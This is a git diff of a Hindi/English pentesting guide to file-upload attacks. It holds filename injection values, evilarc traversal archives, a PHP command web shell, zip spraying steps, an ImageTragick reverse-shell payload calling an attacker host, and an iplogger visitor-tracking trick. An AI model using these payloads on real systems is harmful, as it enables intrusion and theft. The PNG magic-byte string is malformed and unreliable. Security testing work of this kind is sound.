कुछ legacy upload handlers जो `snprintf()` या समान फ़ंक्शन्स का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES` स्ट्रक्चर को फोर्ज करने के लिए ट्रिक किया जा सकता है। `snprintf()` व्यवहार में inconsistencies और truncation के कारण, सावधानीपूर्वक बनाए गए एक single upload को server-side पर कई indexed files की तरह दिखाया जा सकता है, जिससे वह logic भ्रमित हो सकता है जो एक strict shape मानता है (उदाहरण के लिए, इसे multi-file upload मानकर unsafe branches लेना)। हालांकि आज यह अधिकतर niche है, यह “index corruption” पैटर्न कभी-कभी CTFs और पुराने codebases में फिर से सामने आता है।
|
||||
कुछ पुरानी upload handlers जो `snprintf()` या इसी तरह के तरीकों का उपयोग करके single-file upload से multi-file arrays बनाती हैं, उन्हें `_FILES` संरचना को गलती से forge करने के लिए trick किया जा सकता है। `snprintf()` के व्यवहार में असंगतताओं और truncation के कारण, सावधानीपूर्वक बनाए गए एक single upload को सर्वर साइड पर multiple indexed files के रूप में दिखाई दे सकता है, जिससे वह लॉजिक भ्रमित हो सकता है जो एक सख्त आकार मानता है (उदाहरण के लिए, इसे multi-file upload मानकर unsafe ब्रांच पकड़ लेना)। आजकल यह पैटर्न niche है, पर यह कभी-कभी CTFs और पुराने कोडबेस में फिर से उभरता है।
|
||||
|
||||
## फ़ाइल अपलोड से अन्य vulnerabilities
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` और **path traversal** हासिल करने का प्रयास करें
|
||||
- Set **filename** to `sleep(10)-- -.jpg` और आप संभवतः **SQL injection** हासिल कर सकते हैं
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` ताकि **XSS** हासिल हो सके
|
||||
- Set **filename** to `; sleep 10;` कुछ **command injection** टेस्ट करने के लिए (more [command injections tricks here](../command-injection.md))
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- अगर आप web server को किसी URL से image fetch करने के लिए निर्देशित कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का दुरुपयोग करने की कोशिश कर सकते हैं। अगर यह **image** किसी **public** site पर **saved** होने वाली है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) का URL भी इंगित कर सकते हैं और हर visitor की जानकारी चुरा सकते हैं।
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- XSS के लिए specially crafted PDFs: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). अगर आप PDFs अपलोड कर सकते हैं तो आप कुछ ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार arbitrary JS execute करेगा।
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content यह जांचने के लिए कि सर्वर में कोई **antivirus** है या नहीं
|
||||
- फ़ाइलें अपलोड करते समय कोई **size limit** है या नहीं जांचें
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -207,37 +237,37 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
अन्य filetypes के लिए देखें: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
यदि आप ऐसा ZIP अपलोड कर सकते हैं जिसे server के अंदर decompress किया जाएगा, तो आप 2 चीजें कर सकते हैं:
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
### Symlink
|
||||
|
||||
ऐसा लिंक अपलोड करें जिसमें other files के soft links शामिल हों, फिर decompressed files तक पहुँचने पर आप linked files तक पहुँच पाएँगे:
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### अलग फ़ोल्डरों में Decompress
|
||||
### अलग फ़ोल्डरों में डीकम्प्रेस करें
|
||||
|
||||
Decompression के दौरान डायरेक्टरी में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। प्रारंभिक धारणा यह हो सकती है कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा प्रदान करेगा, लेकिन ZIP archive format की hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers decompression functionality को manipulate करके प्रतिबंधों को bypass कर secure upload directories से बाहर निकल सकते हैं।
|
||||
डीकम्प्रेशन के दौरान निर्देशिकाओं में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। शुरुआती धारना यह हो सकती है कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा प्रदान करेगा, लेकिन ZIP archive format की hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers प्रतिबंधों को बायपास कर सकते हैं और टारगेट किए गए एप्लिकेशन की decompression functionality को manipulate करके secure upload directories से बाहर निकल सकते हैं।
|
||||
|
||||
ऐसे फ़ाइलें बनाने के लिए एक automated exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। यह utility नीचे दिखाए अनुसार उपयोग की जा सकती है:
|
||||
ऐसी फाइलें तैयार करने के लिए एक automated exploit उपलब्ध है: [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). इस utility का उपयोग निम्नानुसार किया जा सकता है:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
इसके अलावा, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसे किसी फ़ाइल को लक्षित करना है, तो उस फ़ाइल का एक symlink आपके सिस्टम में बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपनी क्रिया के दौरान त्रुटियों का सामना न करे।
|
||||
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि लक्ष्य `/flag.txt` जैसी फ़ाइल को निशाना बनाना है, तो उस फ़ाइल का एक symlink आपके सिस्टम में बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc को उसके संचालन के दौरान त्रुटियाँ न हों।
|
||||
|
||||
नीचे एक उदाहरण दिया गया है Python कोड का जो एक malicious zip file बनाने के लिए उपयोग किया जाता है:
|
||||
नीचे दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए उपयोग किए गए Python कोड का एक उदाहरण दिया गया है:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -255,11 +285,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**कम्प्रेशन का दुरुपयोग (file spraying के लिए)**
|
||||
**Abusing compression for file spraying**
|
||||
|
||||
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
For further details **अधिक जानकारी के लिए मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHP कोड लिखा गया है जो `$_REQUEST` वैरिएबल के माध्यम से भेजे गए कमांड्स को चलाता है।
|
||||
1. **Creating a PHP Shell**: PHP कोड ऐसे कमांड्स को निष्पादित करने के लिए लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास होते हैं।
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -269,14 +299,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और एक zip आर्काइव इन फाइलों को शामिल करके बनाया जाता है।
|
||||
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और एक zip archive तैयार किया जाता है जिसमें ये फाइलें होती हैं।
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: zip के अंदर फाइलों के नाम vi या hex editor का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर डायरेक्टरी traversal किया जाता है।
|
||||
3. **Modification with a Hex Editor or vi**: zip के अंदर फाइलों के नाम vi या hex editor का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर directories का traversal किया जाता है।
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -286,40 +316,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
इस कंटेंट को image extension के साथ अपलोड करें ताकि vulnerability **(ImageMagick , 7.0.1-1)** को exploit किया जा सके (from the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
इस कंटेंट को image extension के साथ upload करें ताकि vulnerability **(ImageMagick , 7.0.1-1)** का exploit किया जा सके (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## PNG में PHP shell एम्बेड करना
|
||||
## PHP Shell को PNG में एम्बेड करना
|
||||
|
||||
PNG फ़ाइल के IDAT chunk में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशनों को प्रभावी ढंग से बाइपास किया जा सकता है। PHP-GD की `imagecopyresized` और `imagecopyresampled` फ़ंक्शंस इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर images को resize और resample करने के लिए उपयोग किया जाता है। एम्बेड किया गया PHP shell इन ऑपरेशनों से अप्रभावित रहने में सक्षम होना कुछ उपयोग मामलों के लिए बड़ा फायदा है।
|
||||
PNG फ़ाइल के IDAT chunk में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशनों को प्रभावी ढंग से बायपास किया जा सकता है। PHP-GD के `imagecopyresized` और `imagecopyresampled` फ़ंक्शन्स इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर क्रमशः छवियों के resizing और resampling के लिए उपयोग किया जाता है। इन ऑपरेशनों से अप्रभावित रहने की embedded PHP shell की क्षमता कुछ उपयोग मामलों के लिए महत्वपूर्ण लाभ प्रदान करती है।
|
||||
|
||||
इस तकनीक की विस्तृत विवेचना, उसकी methodology और संभावित उपयोगों सहित, निम्नलिखित लेख में दी गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और उसके प्रभावों की व्यापक समझ प्रदान करता है।
|
||||
इस तकनीक का विस्तृत विश्लेषण, इसकी कार्यप्रणाली और संभावित अनुप्रयोगों सहित, निम्नलिखित लेख में उपलब्ध है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह स्रोत प्रक्रिया और उसके निहितार्थों की व्यापक समझ देता है।
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
अधिक जानकारी: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot फ़ाइलें
|
||||
|
||||
Polyglot फ़ाइलें साइबरसुरक्षा में एक अनूठा उपकरण हैं, जो कई file formats में एक साथ वैध रूप से मौजूद रह सकती हैं — एक तरह के chameleon की तरह। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें केवल इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी combinations भी संभव हैं।
|
||||
Polyglot files साइबर सुरक्षा में एक अनूठा उपकरण हैं, जो कैमेलियन की तरह काम करते हैं और एक साथ कई फ़ाइल फ़ॉर्मैट्स में वैध रूप से मौजूद हो सकते हैं। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, एक हाइब्रिड जो एक ही समय में GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें केवल इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
|
||||
Polyglot फ़ाइलों की मुख्य उपयोगिता यह है कि वे उन security measures को बायपास कर सकती हैं जो फ़ाइलों को उनके type के आधार पर स्क्रीन करते हैं। कई एप्लिकेशन में आम प्रैक्टिस यह होती है कि सिर्फ कुछ निश्चित file types ही upload की अनुमति दी जाए — जैसे JPEG, GIF, या DOC — ताकि संभवतः हानिकारक formats (उदा., JS, PHP, या Phar files) से जोखिम कम किया जा सके। हालांकि, एक polyglot, कई file types की structural criteria को पूरा करके, इन प्रतिबंधों को चुपचाप बायपास कर सकता है।
|
||||
Polyglot फ़ाइलों की मुख्य उपयोगिता उनकी उस क्षमता में निहित है कि वे प्रकार के आधार पर फ़ाइलों को स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न एप्लिकेशन्स में सामान्य प्रैक्टिस केवल कुछ फ़ाइल टाइप्स को upload की अनुमति देना है — जैसे JPEG, GIF, या DOC — ताकि संभावित हानिकारक फ़ॉर्मैट्स (जैसे JS, PHP, या Phar फ़ाइलें) से जोखिम कम किया जा सके। हालांकि, एक polyglot कई फ़ाइल प्रकारों की संरचनात्मक आवश्यकताओं को पूरा करके चुपके से इन प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
उनकी अनुकूलनशीलता के बावजूद, polyglots को सीमाओं का सामना करना पड़ता है। उदाहरण के लिए, एक polyglot में एक PHAR file और एक JPEG दोनों मौजूद हो सकते हैं, लेकिन उसकी upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत extensions के प्रति सख्त है, तो polyglot की केवल structural duality अपलोड सुनिश्चित करने के लिए पर्याप्त नहीं हो सकती।
|
||||
अनुकूलनशीलता के बावजूद, polyglots की सीमाएं भी होती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ एक PHAR file (PHp ARchive) और एक JPEG दोनों हो सकता है, उसके upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के प्रति सख्त है, तो केवल संरचनात्मक द्वैत होने से polyglot का upload सुनिश्चित नहीं होगा।
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### PDF जैसा दिखाकर valid JSON अपलोड करना
|
||||
### PDF की तरह दिखते हुए वैध JSON अपलोड करना
|
||||
|
||||
ऐसा कैसे करें ताकि file type detections को धोखा देकर एक valid JSON फ़ाइल अपलोड की जा सके, भले ही अनुमति न हो, अर्थात PDF फ़ाइल का नकल करना (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
कैसे फाइल टाइप डिटेक्शन से बचें और वैध JSON फ़ाइल को PDF बनाकर अपलोड करें (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: जब तक `%PDF` magic bytes पहले 1024 bytes में हों यह वैध माना जाता है (post से उदाहरण लें)
|
||||
- **`pdflib` library**: JSON के किसी field के अंदर एक fake PDF format जोड़ दें ताकि library इसे pdf समझ ले (post से उदाहरण लें)
|
||||
- **`file` binary**: यह एक फ़ाइल से up to 1048576 bytes पढ़ सकता है। बस एक ऐसा JSON बनाएं जो इससे बड़ा हो ताकि यह content को json की तरह parse न कर सके और फिर JSON के अंदर एक वास्तविक PDF का प्रारंभिक भाग डाल दें — यह इसे PDF समझ लेगा
|
||||
- **`mmmagic` library**: यदि `%PDF` magic bytes पहले 1024 bytes में मौजूद हैं तो इसे वैध माना जाता है (post से उदाहरण लें)
|
||||
- **`pdflib` library**: JSON के किसी field के अंदर एक नकली PDF फॉर्मैट जोड़ें ताकि लाइब्रेरी इसे PDF समझ ले (post से उदाहरण लें)
|
||||
- **`file` binary**: यह फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बनाएं ताकि यह सामग्री को json के रूप में पार्स न कर सके और फिर JSON के अंदर वास्तविक PDF का प्रारम्भिक भाग रखें — इससे यह उसे PDF समझ लेगा
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -329,5 +359,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user